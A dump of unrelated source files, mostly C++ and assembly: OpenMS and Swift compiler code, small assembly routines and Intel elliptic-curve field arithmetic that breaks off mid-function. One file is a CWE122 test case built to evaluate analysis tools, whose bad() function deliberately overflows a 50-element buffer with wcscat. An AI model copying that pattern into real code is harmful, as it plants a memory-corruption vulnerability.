final.assigned_contaminants_intensity_ratio = (sum_cont / sum_total);
// add the object to the results vector
results_.push_back(final);
}
const String& Contaminants::getName() const
{
return name_;
}
const std::vector<Contaminants::ContaminantsSummary>& Contaminants::getResults()
{
return results_;
}
// Check if peptide is in contaminants database or not and add the is_contaminant = 0/1.
// If so, raise the contaminant ratio.
void Contaminants::compare_(const String& key,
PeptideHit& pep_hit,
Int64& total,
Int64& cont,
double& sum_total,
double& sum_cont,
double intensity)
{
++total;
sum_total += intensity;
// peptide is not in contaminant database
if (!digested_db_.count(key))
{
pep_hit.setMetaValue("is_contaminant", 0);
return;
}
// peptide is contaminant
++cont;
sum_cont += intensity;
pep_hit.setMetaValue("is_contaminant", 1);
}
QCBase::Status Contaminants::requires() const
{
return (QCBase::Status(QCBase::Requires::POSTFDRFEAT) | QCBase::Requires::CONTAMINANTS);
}
}
|
//===--- RawComment.cpp - Extraction of raw comments ----------------------===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See http://swift.org/LICENSE.txt for license information
// See http://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
///
/// \file
/// This file implements extraction of raw comments.
///
//===----------------------------------------------------------------------===//
#include "swift/AST/RawComment.h"
#include "swift/AST/Comment.h"
#include "swift/AST/ASTContext.h"
#include "swift/AST/Decl.h"
#include "swift/AST/Module.h"
#include "swift/AST/PrettyStackTrace.h"
#include "swift/Basic/PrimitiveParsing.h"
#include "swift/Basic/SourceManager.h"
#include "swift/Markup/Markup.h"
#include "swift/Parse/Lexer.h"
#include "swift/Syntax/Token.h"
#include "llvm/ADT/SmallString.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/raw_ostream.h"
using namespace swift;
static SingleRawComment::CommentKind getCommentKind(StringRef Comment) {
assert(Comment.size() >= 2);
assert(Comment[0] == '/');
if (Comment[1] == '/') {
if (Comment.size() < 3)
return SingleRawComment::CommentKind::OrdinaryLine;
if (Comment[2] == '/') {
return SingleRawComment::CommentKind::LineDoc;
}
return SingleRawComment::CommentKind::OrdinaryLine;
} else {
assert(Comment[1] == '*');
assert(Comment.size() >= 4);
if (Comment[2] == '*') {
return SingleRawComment::CommentKind::BlockDoc;
}
return SingleRawComment::CommentKind::OrdinaryBlock;
}
}
SingleRawComment::SingleRawComment(CharSourceRange Range,
const SourceManager &SourceMgr)
: Range(Range), RawText(SourceMgr.extractText(Range)),
Kind(static_cast<unsigned>(getCommentKind(RawText))),
EndLine(SourceMgr.getLineNumber(Range.getEnd())) {
auto StartLineAndColumn = SourceMgr.getLineAndColumn(Range.getStart());
StartLine = StartLineAndColumn.first;
StartColumn = StartLineAndColumn.second;
}
SingleRawComment::SingleRawComment(StringRef RawText, unsigned StartColumn)
: RawText(RawText), Kind(static_cast<unsigned>(getCommentKind(RawText))),
StartColumn(StartColumn), StartLine(0), EndLine(0) {}
RawComment Decl::getRawComment() const {
if (!this->canHaveComment())
return RawComment();
// Check the declaration itself.
if (auto *Attr = getAttrs().getAttribute<RawDocCommentAttr>()) {
return Attr->getComment();
}
auto &Context = getASTContext();
// Ask the parent module.
if (auto *Unit =
dyn_cast<FileUnit>(this->getDeclContext()->getModuleScopeContext())) {
if (Optional<CommentInfo> C = Unit->getCommentForDecl(this)) {
swift::markup::MarkupContext MC;
Context.setBriefComment(this, C->Brief);
return C->Raw;
}
}
// Give up.
return RawComment();
}
static const Decl* getGroupDecl(const Decl *D) {
auto GroupD = D;
// Extensions always exist in the same group with the nominal.
if (auto ED = dyn_cast_or_null<ExtensionDecl>(D->getDeclContext()->
getInnermostTypeContext())) {
if (auto ExtTy = ED->getExtendedType())
GroupD = ExtTy->getAnyNominal();
}
return GroupD;
}
Optional<StringRef> Decl::getGroupName() const {
if (hasClangNode())
return None;
if (auto GroupD = getGroupDecl(this)) {
// We can only get group information from deserialized module files.
if (auto *Unit =
dyn_cast<FileUnit>(GroupD->getDeclContext()->getModuleScopeContext())) {
return Unit->getGroupNameForDecl(GroupD);
}
}
return None;
}
Optional<StringRef> Decl::getSourceFileName() const {
if (hasClangNode())
return None;
if (auto GroupD = getGroupDecl(this)) {
// We can only get group information from deserialized module files.
if (auto *Unit =
dyn_cast<FileUnit>(GroupD->getDeclContext()->getModuleScopeContext())) {
return Unit->getSourceFileNameForDecl(GroupD);
}
}
return None;
}
Optional<unsigned> Decl::getSourceOrder() const {
if (hasClangNode())
return None;
// We can only get source orders from deserialized module files.
if (auto *Unit =
dyn_cast<FileUnit>(this->getDeclContext()->getModuleScopeContext())) {
return Unit->getSourceOrderForDecl(this);
}
return None;
}
static StringRef extractBriefComment(ASTContext &Context, RawComment RC,
const Decl *D) {
PrettyStackTraceDecl StackTrace("extracting brief comment for", D);
if (!D->canHaveComment())
return StringRef();
swift::markup::MarkupContext MC;
auto DC = getCascadingDocComment(MC, D);
if (!DC.hasValue())
return StringRef();
auto Brief = DC.getValue()->getBrief();
if (!Brief.hasValue())
return StringRef();
SmallString<256> BriefStr("");
llvm::raw_svector_ostream OS(BriefStr);
swift::markup::printInlinesUnder(Brief.getValue(), OS);
if (OS.str().empty())
return StringRef();
return Context.AllocateCopy(OS.str());
}
StringRef Decl::getBriefComment() const {
if (!this->canHaveComment())
return StringRef();
auto &Context = getASTContext();
if (Optional<StringRef> Comment = Context.getBriefComment(this))
return Comment.getValue();
StringRef Result;
auto RC = getRawComment();
if (!RC.isEmpty())
Result = extractBriefComment(Context, RC, this);
Context.setBriefComment(this, Result);
return Result;
}
|
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE122_Heap_Based_Buffer_Overflow__cpp_src_wchar_t_cat_11.cpp
Label Definition File: CWE122_Heap_Based_Buffer_Overflow__cpp_src.label.xml
Template File: sources-sink-11.tmpl.cpp
*/
/*
* @description
* CWE: 122 Heap Based Buffer Overflow
* BadSource: Initialize data as a large string
* GoodSource: Initialize data as a small string
* Sink: cat
* BadSink : Copy data to string using wcscat
* Flow Variant: 11 Control flow: if(globalReturnsTrue()) and if(globalReturnsFalse())
*
* */
#include "std_testcase.h"
#include <wchar.h>
namespace CWE122_Heap_Based_Buffer_Overflow__cpp_src_wchar_t_cat_11
{
#ifndef OMITBAD
void bad()
{
wchar_t * data;
data = new wchar_t[100];
if(globalReturnsTrue())
{
/* FLAW: Initialize data as a large buffer that is larger than the small buffer used in the sink */
wmemset(data, L'A', 100-1); /* fill with L'A's */
data[100-1] = L'\0'; /* null terminate */
}
{
wchar_t dest[50] = L"";
/* POTENTIAL FLAW: Possible buffer overflow if data is larger than sizeof(dest)-wcslen(dest)*/
wcscat(dest, data);
printWLine(data);
delete [] data;
}
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodG2B1() - use goodsource and badsink by changing the globalReturnsTrue() to globalReturnsFalse() */
static void goodG2B1()
{
wchar_t * data;
data = new wchar_t[100];
if(globalReturnsFalse())
{
/* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
printLine("Benign, fixed string");
}
else
{
/* FIX: Initialize data as a small buffer that as small or smaller than the small buffer used in the sink */
wmemset(data, L'A', 50-1); /* fill with L'A's */
data[50-1] = L'\0'; /* null terminate */
}
{
wchar_t dest[50] = L"";
/* POTENTIAL FLAW: Possible buffer overflow if data is larger than sizeof(dest)-wcslen(dest)*/
wcscat(dest, data);
printWLine(data);
delete [] data;
}
}
/* goodG2B2() - use goodsource and badsink by reversing the blocks in the if statement */
static void goodG2B2()
{
wchar_t * data;
data = new wchar_t[100];
if(globalReturnsTrue())
{
/* FIX: Initialize data as a small buffer that as small or smaller than the small buffer used in the sink */
wmemset(data, L'A', 50-1); /* fill with L'A's */
data[50-1] = L'\0'; /* null terminate */
}
{
wchar_t dest[50] = L"";
/* POTENTIAL FLAW: Possible buffer overflow if data is larger than sizeof(dest)-wcslen(dest)*/
wcscat(dest, data);
printWLine(data);
delete [] data;
}
}
void good()
{
goodG2B1();
goodG2B2();
}
#endif /* OMITGOOD */
} /* close namespace */
/* Below is the main(). It is only used when building this testcase on
its own for testing or for building a binary to use in testing binary
analysis tools. It is not used when compiling all the testcases as one
application, which is how source code analysis tools are tested. */
#ifdef INCLUDEMAIN
using namespace CWE122_Heap_Based_Buffer_Overflow__cpp_src_wchar_t_cat_11; /* so that we can use good and bad easily */
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
|
-- HUMAN RESOURCE MACHINE PROGRAM --
a:
INBOX
COPYTO 12
COMMENT 0
b:
COPYFROM 12
JUMPN a
COPYFROM [12]
OUTBOX
BUMPUP 12
COPYFROM [12]
COPYTO 12
JUMP b
DEFINE COMMENT 0
eJyzYWBg0BLvijMSeRRRI1AXuop7fth5TveYYI6QVDP23HIz9r1NelzXpmTwxMwMF2KZryX+eC6rZN0s
oDYGLuUAby7l94kuqs7tiWqFE+vUAyZc1drbxK/7uVpH71LVUQPevgVGmYtAaqc6haSed+mKy3B3j0nw
co+Z5bMmni9QNudlkFYpW8jsRuVQ6xmpISGrtIPsN330T9z80ydxs7Pnn/XBzo/nFrhMnrTK7WS3mseK
Lu2gtk6QeYsTMmPlk84tBbFXx1ZZg+j/uZMniRQJJmuWPYpwK38UYVflHrOr+mxCb0N/BWfT656MJveF
DKNgFIwCFAAAwo9ZKg;
DEFINE LABEL 12
eJzTYGBgeKX3PtFEWzA5UW16+gll2ZyvcmZ10+TuNU+TmzypT5FlvrpK12IbjXNL83TPLQUqZ7Cz1yq1
s5/dGO2wouu6o16/oEvhxOPuhRP3e73uueOd2hHhu6FSzK80bbuvdTBI/dfIpvzd4VUNu8OvTamMiJl5
I6Kq4WskR8mFaPtc+aSzCSA1OpkhqSo5/RULcld0hRWuiecplQw6VLHFj2EUjIJRQFMAAAD+P9Y;
|
; A039272: Numbers n such that representation in base 12 has same number of 9's and 10's.
; 0,1,2,3,4,5,6,7,8,11,12,13,14,15,16,17,18,19,20,23,24,25,26,27,28,29,30,31,32,35,36,37,38,39,40,41,42,43,44,47,48,49,50,51,52,53,54,55,56,59,60,61,62,63,64,65,66,67,68,71,72,73,74,75,76,77,78,79,80,83
add $0,1
mov $1,$0
div $0,10
mul $0,2
add $1,$0
sub $1,1
|
frame 1, 05
frame 2, 05
frame 3, 05
frame 4, 05
frame 5, 05
frame 6, 05
frame 7, 05
frame 8, 05
frame 9, 05
frame 10, 05
setrepeat 3
frame 12, 05
frame 13, 05
dorepeat 11
endanim
|
; FILE __CALLEE__ *fopen_callee(char *filename, char *mode)
; 07.2009 aralbrec
PUBLIC fopen_callee
PUBLIC ASMDISP_FOPEN_CALLEE, LIBDISP_FOPEN_CALLEE
EXTERN open_callee, stdio_free
EXTERN stdio_parseperm, stdio_findfileslot, stdio_malloc
EXTERN stdio_error_einval_zc, stdio_error_enfile_zc, stdio_error_enomem_zc
EXTERN ASMDISP_OPEN_CALLEE
INCLUDE "../stdio.def"
.fopen_callee
pop hl
pop de
ex (sp),hl
; enter : hl = char *filename
; de = char *mode
; exit : hl = FILE * and carry reset for success
; hl = 0 and carry set for fail
.asmentry
; 1. parse mode string
;
; hl = char *filename
; de = char *mode
push hl ; save char *filename
call stdio_parseperm ; a = mode flags
jp c, stdio_error_einval_zc - 1 ; invalid mode string
ld c,a
; 2. find empty FILE slot
;
; c = mode flags
; stack = char *filename
call stdio_findfileslot ; hl = MSB of filetbl entry
jp c, stdio_error_enfile_zc - 1 ; file table is full
; 3. malloc FILE*
;
; c = mode flags
; hl = MSB of filetbl entry
; stack = char *filename
exx
ld bc,STDIO_SIZEOF_FILE
call stdio_malloc ; hl = FILE *
jp nc, stdio_error_enomem_zc - 1 ; memory not available
; 4. open low level fd
;
; c' = mode flags
; hl' = MSB of filetbl entry
; hl = FILE*
; stack = char *filename
pop de ; de = char *filename
exx
push hl ; save MSB of filetbl entry
ld a,c
exx
ld c,a ; c = mode flags
push hl ; save FILE*
; de = char *filename
; c = mode flags
; stack = MSB of filetbl entry, FILE*
call open_callee + ASMDISP_OPEN_CALLEE ; ix = fdstruct*
jr c, fail0
; 5. enter FILE* in file table
;
; ix = fdstruct*
; stack = MSB of filetbl entry, FILE*
pop de ; de = FILE*
pop hl ; hl = MSB of filetbl entry
ld (hl),d
dec hl
ld (hl),e
; 6. fill in FILE structure
;
; ix = fdstruct*
; de = FILE*
.libentry
ld l,e
ld h,d ; hl = FILE*
ld (hl),195 ; JP instruction
inc hl
ld a,ixl
ld (hl),a
inc hl
ld a,ixh
ld (hl),a ; store fdstruct*
inc hl
ld a,(ix+3) ; mode flags
and $06
or $08 ; set FILE flag bit
ld (hl),a ; FILE* flags
; 7. return FILE*
;
; de = FILE*
; ix = fdstruct*
; carry reset
ex de,hl
ret
.fail0
; stack = MSB of filetbl entry, FILE*
pop hl ; hl = FILE*
call stdio_free
jp stdio_error_zc - 1
defc ASMDISP_FOPEN_CALLEE = # asmentry - fopen_callee
defc LIBDISP_FOPEN_CALLEE = # libentry - fopen_callee
|
; find greatest number in array of 8-bit number
LDA 024DH ;fetch value of N
MOV B, A ;save value of N in B
LXI H, 0250H ;fetch first element, set it as largest
MOV A, M ;save first element
DCR B ;decrement, since first element is largest
INX H ;increment to second element
loop: CMP M
JNC iterate
MOV A, M
iterate: INX H
DCR B
JNZ loop
STA 024EH ;save result
hlt |
SECTION code_fp
PUBLIC fpclassify
EXTERN fa
; Return 0 = normal
; 1 = zero
; 2 = nan
; 3 = infinite
fpclassify:
ld a,(fa+5) ;exponent
ld hl,1
and a
ret z
dec hl
ret
|
; James Shaver
; Bubble sort of an array of numbers in assembly.
; 7/22/2014
.486
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\kernel32.inc
include \masm32\macros\macros.asm
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\kernel32.lib
.data
temp DD 0
aa DW 10 DUP(5, 7, 6, 1, 4, 3, 9, 2, 10, 8)
.code
start:
cls ; clearing screen
;setting up counters
mov ecx, 0
mov edx, 0
top:
cmp edx, 10
je inc_loop
inc edx
mov ax, [aa+ecx*2] ; moves array index 0 into eax
cmp [aa+edx*2], ax ; compares index 1 to index 2
jl top ; jumps to top if index1 is less than or equal to index 2
; swaps the values edx and ecx are pointing to
mov bx, [aa+edx*2]
mov [aa+ecx*2], bx
mov [aa+edx*2], ax
jmp top
inc_loop:
mov edx, -1
inc ecx
cmp ecx, 10
jl top
; Output to Screen
sub esi, esi
print chr$("Bubble Sorted Array Results: ", 13,10)
print chr$("[ ")
; Looping through the array
out_top:
mov ax, [aa+esi*2]
mov temp, eax
print str$(temp)
print chr$(", ")
inc esi
cmp esi, 9
jne out_top
; Formatting the last character
mov ax, [aa+esi*2]
mov temp, eax
print str$(temp)
print chr$(" ]", 13, 10)
exit
END start |
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.text
.p2align 5, 0x90
Lpoly:
.quad 0xFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFE, 0xFFFFFFFFFFFFFFFF
LRR:
.quad 0x1, 0x2, 0x1
LOne:
.long 1,1,1,1,1,1,1,1
.p2align 5, 0x90
.globl _l9_p192r1_mul_by_2
_l9_p192r1_mul_by_2:
push %r12
xor %r12, %r12
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
shld $(1), %r10, %r12
shld $(1), %r9, %r10
shld $(1), %r8, %r9
shl $(1), %r8
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r12
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
vzeroupper
pop %r12
ret
.p2align 5, 0x90
.globl _l9_p192r1_div_by_2
_l9_p192r1_div_by_2:
push %r12
push %r13
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
xor %r12, %r12
xor %r13, %r13
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
addq Lpoly+0(%rip), %rax
adcq Lpoly+8(%rip), %rdx
adcq Lpoly+16(%rip), %rcx
adc $(0), %r12
test $(1), %r8
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %rcx, %r10
cmovne %r12, %r13
shrd $(1), %r9, %r8
shrd $(1), %r10, %r9
shrd $(1), %r13, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
vzeroupper
pop %r13
pop %r12
ret
.p2align 5, 0x90
.globl _l9_p192r1_mul_by_3
_l9_p192r1_mul_by_3:
push %r12
xor %r12, %r12
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
shld $(1), %r10, %r12
shld $(1), %r9, %r10
shld $(1), %r8, %r9
shl $(1), %r8
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r12
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
xor %r12, %r12
addq (%rsi), %r8
adcq (8)(%rsi), %r9
adcq (16)(%rsi), %r10
adc $(0), %r12
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r12
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
vzeroupper
pop %r12
ret
.p2align 5, 0x90
.globl _l9_p192r1_add
_l9_p192r1_add:
push %r12
xor %r12, %r12
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
addq (%rdx), %r8
adcq (8)(%rdx), %r9
adcq (16)(%rdx), %r10
adc $(0), %r12
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r12
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
vzeroupper
pop %r12
ret
.p2align 5, 0x90
.globl _l9_p192r1_sub
_l9_p192r1_sub:
push %r12
xor %r12, %r12
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
subq (%rdx), %r8
sbbq (8)(%rdx), %r9
sbbq (16)(%rdx), %r10
sbb $(0), %r12
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
addq Lpoly+0(%rip), %rax
adcq Lpoly+8(%rip), %rdx
adcq Lpoly+16(%rip), %rcx
test %r12, %r12
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %rcx, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
vzeroupper
pop %r12
ret
.p2align 5, 0x90
.globl _l9_p192r1_neg
_l9_p192r1_neg:
push %r12
xor %r12, %r12
xor %r8, %r8
xor %r9, %r9
xor %r10, %r10
subq (%rsi), %r8
sbbq (8)(%rsi), %r9
sbbq (16)(%rsi), %r10
sbb $(0), %r12
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
addq Lpoly+0(%rip), %rax
adcq Lpoly+8(%rip), %rdx
adcq Lpoly+16(%rip), %rcx
test %r12, %r12
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %rcx, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
vzeroupper
pop %r12
ret
.p2align 5, 0x90
p192r1_mmull:
xor %r12, %r12
movq (%rbx), %rax
mulq (%rsi)
mov %rax, %r8
mov %rdx, %r9
movq (%rbx), %rax
mulq (8)(%rsi)
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r10
movq (%rbx), %rax
mulq (16)(%rsi)
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
sub %r8, %r9
sbb $(0), %r10
sbb $(0), %r8
add %r8, %r11
adc $(0), %r12
xor %r8, %r8
movq (8)(%rbx), %rax
mulq (%rsi)
add %rax, %r9
adc $(0), %rdx
mov %rdx, %rcx
movq (8)(%rbx), %rax
mulq (8)(%rsi)
add %rcx, %r10
adc $(0), %rdx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rcx
movq (8)(%rbx), %rax
mulq (16)(%rsi)
add %rcx, %r11
adc $(0), %rdx
add %rax, %r11
adc %rdx, %r12
adc $(0), %r8
sub %r9, %r10
sbb $(0), %r11
sbb $(0), %r9
add %r9, %r12
adc $(0), %r8
xor %r9, %r9
movq (16)(%rbx), %rax
mulq (%rsi)
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rbx), %rax
mulq (8)(%rsi)
add %rcx, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rbx), %rax
mulq (16)(%rsi)
add %rcx, %r12
adc $(0), %rdx
add %rax, %r12
adc %rdx, %r8
adc $(0), %r9
sub %r10, %r11
sbb $(0), %r12
sbb $(0), %r10
add %r10, %r8
adc $(0), %r9
xor %r10, %r10
mov %r11, %rax
mov %r12, %rdx
mov %r8, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r9
cmovnc %rax, %r11
cmovnc %rdx, %r12
cmovnc %rcx, %r8
movq %r11, (%rdi)
movq %r12, (8)(%rdi)
movq %r8, (16)(%rdi)
ret
.p2align 5, 0x90
p192r1_mmulx:
xor %r12, %r12
xor %rdx, %rdx
movq (%rbx), %rdx
mulxq (%rsi), %r8, %r9
mulxq (8)(%rsi), %rcx, %r10
add %rcx, %r9
mulxq (16)(%rsi), %rcx, %r11
adc %rcx, %r10
adc $(0), %r11
sub %r8, %r9
sbb $(0), %r10
sbb $(0), %r8
add %r8, %r11
adc $(0), %r12
xor %r8, %r8
movq (8)(%rbx), %rdx
mulxq (%rsi), %rcx, %rax
adcx %rcx, %r9
adox %rax, %r10
mulxq (8)(%rsi), %rcx, %rax
adcx %rcx, %r10
adox %rax, %r11
mulxq (16)(%rsi), %rcx, %rax
adcx %rcx, %r11
adox %rax, %r12
adcx %r8, %r12
adox %r8, %r8
adc $(0), %r8
sub %r9, %r10
sbb $(0), %r11
sbb $(0), %r9
add %r9, %r12
adc $(0), %r8
xor %r9, %r9
movq (16)(%rbx), %rdx
mulxq (%rsi), %rcx, %rax
adcx %rcx, %r10
adox %rax, %r11
mulxq (8)(%rsi), %rcx, %rax
adcx %rcx, %r11
adox %rax, %r12
mulxq (16)(%rsi), %rcx, %rax
adcx %rcx, %r12
adox %rax, %r8
adcx %r9, %r8
adox %r9, %r9
adc $(0), %r9
sub %r10, %r11
sbb $(0), %r12
sbb $(0), %r10
add %r10, %r8
adc $(0), %r9
xor %r10, %r10
mov %r11, %rax
mov %r12, %rdx
mov %r8, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r9
cmovnc %rax, %r11
cmovnc %rdx, %r12
cmovnc %rcx, %r8
movq %r11, (%rdi)
movq %r12, (8)(%rdi)
movq %r8, (16)(%rdi)
ret
.p2align 5, 0x90
.globl _l9_p192r1_mul_montl
_l9_p192r1_mul_montl:
push %rbx
push %r12
mov %rdx, %rbx
call p192r1_mmull
vzeroupper
pop %r12
pop %rbx
ret
.p2align 5, 0x90
.globl _l9_p192r1_mul_montx
_l9_p192r1_mul_montx:
push %rbx
push %r12
mov %rdx, %rbx
call p192r1_mmulx
vzeroupper
pop %r12
pop %rbx
ret
.p2align 5, 0x90
.globl _l9_p192r1_to_mont
_l9_p192r1_to_mont:
push %rbx
push %r12
lea LRR(%rip), %rbx
call p192r1_mmull
vzeroupper
pop %r12
pop %rbx
ret
.p2align 5, 0x90
.globl _l9_p192r1_sqr_montl
_l9_p192r1_sqr_montl:
push %r12
push %r13
movq (%rsi), %rcx
movq (8)(%rsi), %rax
mul %rcx
mov %rax, %r9
mov %rdx, %r10
movq (16)(%rsi), %rax
mul %rcx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
movq (8)(%rsi), %rcx
movq (16)(%rsi), %rax
mul %rcx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
xor %r13, %r13
shld $(1), %r12, %r13
shld $(1), %r11, %r12
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shl $(1), %r9
movq (%rsi), %rax
mul %rax
mov %rax, %r8
add %rdx, %r9
adc $(0), %r10
movq (8)(%rsi), %rax
mul %rax
add %rax, %r10
adc %rdx, %r11
adc $(0), %r12
movq (16)(%rsi), %rax
mul %rax
add %rax, %r12
adc %rdx, %r13
sub %r8, %r9
sbb $(0), %r10
sbb $(0), %r8
add %r8, %r11
mov $(0), %r8
adc $(0), %r8
sub %r9, %r10
sbb $(0), %r11
sbb $(0), %r9
add %r9, %r12
mov $(0), %r9
adc $(0), %r9
add %r8, %r12
adc $(0), %r9
sub %r10, %r11
sbb $(0), %r12
sbb $(0), %r10
add %r10, %r13
mov $(0), %r10
adc $(0), %r10
add %r9, %r13
adc $(0), %r10
mov %r11, %rax
mov %r12, %rdx
mov %r13, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r10
cmovnc %rax, %r11
cmovnc %rdx, %r12
cmovnc %rcx, %r13
movq %r11, (%rdi)
movq %r12, (8)(%rdi)
movq %r13, (16)(%rdi)
vzeroupper
pop %r13
pop %r12
ret
.p2align 5, 0x90
.globl _l9_p192r1_sqr_montx
_l9_p192r1_sqr_montx:
push %rbp
push %rbx
push %r12
push %r13
movq (%rsi), %rdx
mulxq (8)(%rsi), %r9, %r10
mulxq (16)(%rsi), %rcx, %r11
add %rcx, %r10
adc $(0), %r11
movq (8)(%rsi), %rdx
mulxq (16)(%rsi), %rcx, %r12
add %rcx, %r11
adc $(0), %r12
xor %r13, %r13
shld $(1), %r12, %r13
shld $(1), %r11, %r12
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shl $(1), %r9
xor %r8, %r8
movq (%rsi), %rdx
mulx %rdx, %r8, %rax
adcx %rax, %r9
movq (8)(%rsi), %rdx
mulx %rdx, %rcx, %rax
adcx %rcx, %r10
adcx %rax, %r11
movq (16)(%rsi), %rdx
mulx %rdx, %rcx, %rax
adcx %rcx, %r12
adcx %rax, %r13
sub %r8, %r9
sbb $(0), %r10
sbb $(0), %r8
add %r8, %r11
mov $(0), %r8
adc $(0), %r8
sub %r9, %r10
sbb $(0), %r11
sbb $(0), %r9
add %r9, %r12
mov $(0), %r9
adc $(0), %r9
add %r8, %r12
adc $(0), %r9
sub %r10, %r11
sbb $(0), %r12
sbb $(0), %r10
add %r10, %r13
mov $(0), %r10
adc $(0), %r10
add %r9, %r13
adc $(0), %r10
mov %r11, %rcx
mov %r12, %rax
mov %r13, %rdx
subq Lpoly+0(%rip), %rcx
sbbq Lpoly+8(%rip), %rax
sbbq Lpoly+16(%rip), %rdx
sbb $(0), %r10
cmovnc %rcx, %r11
cmovnc %rax, %r12
cmovnc %rdx, %r13
movq %r11, (%rdi)
movq %r12, (8)(%rdi)
movq %r13, (16)(%rdi)
vzeroupper
pop %r13
pop %r12
pop %rbx
pop %rbp
ret
.p2align 5, 0x90
.globl _l9_p192r1_mont_back
_l9_p192r1_mont_back:
push %r12
movq (%rsi), %r10
movq (8)(%rsi), %r11
movq (16)(%rsi), %r12
xor %r8, %r8
xor %r9, %r9
sub %r10, %r11
sbb $(0), %r12
sbb $(0), %r10
add %r10, %r8
adc $(0), %r9
xor %r10, %r10
sub %r11, %r12
sbb $(0), %r8
sbb $(0), %r11
add %r11, %r9
adc $(0), %r10
xor %r11, %r11
sub %r12, %r8
sbb $(0), %r9
sbb $(0), %r12
add %r12, %r10
adc $(0), %r11
xor %r12, %r12
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
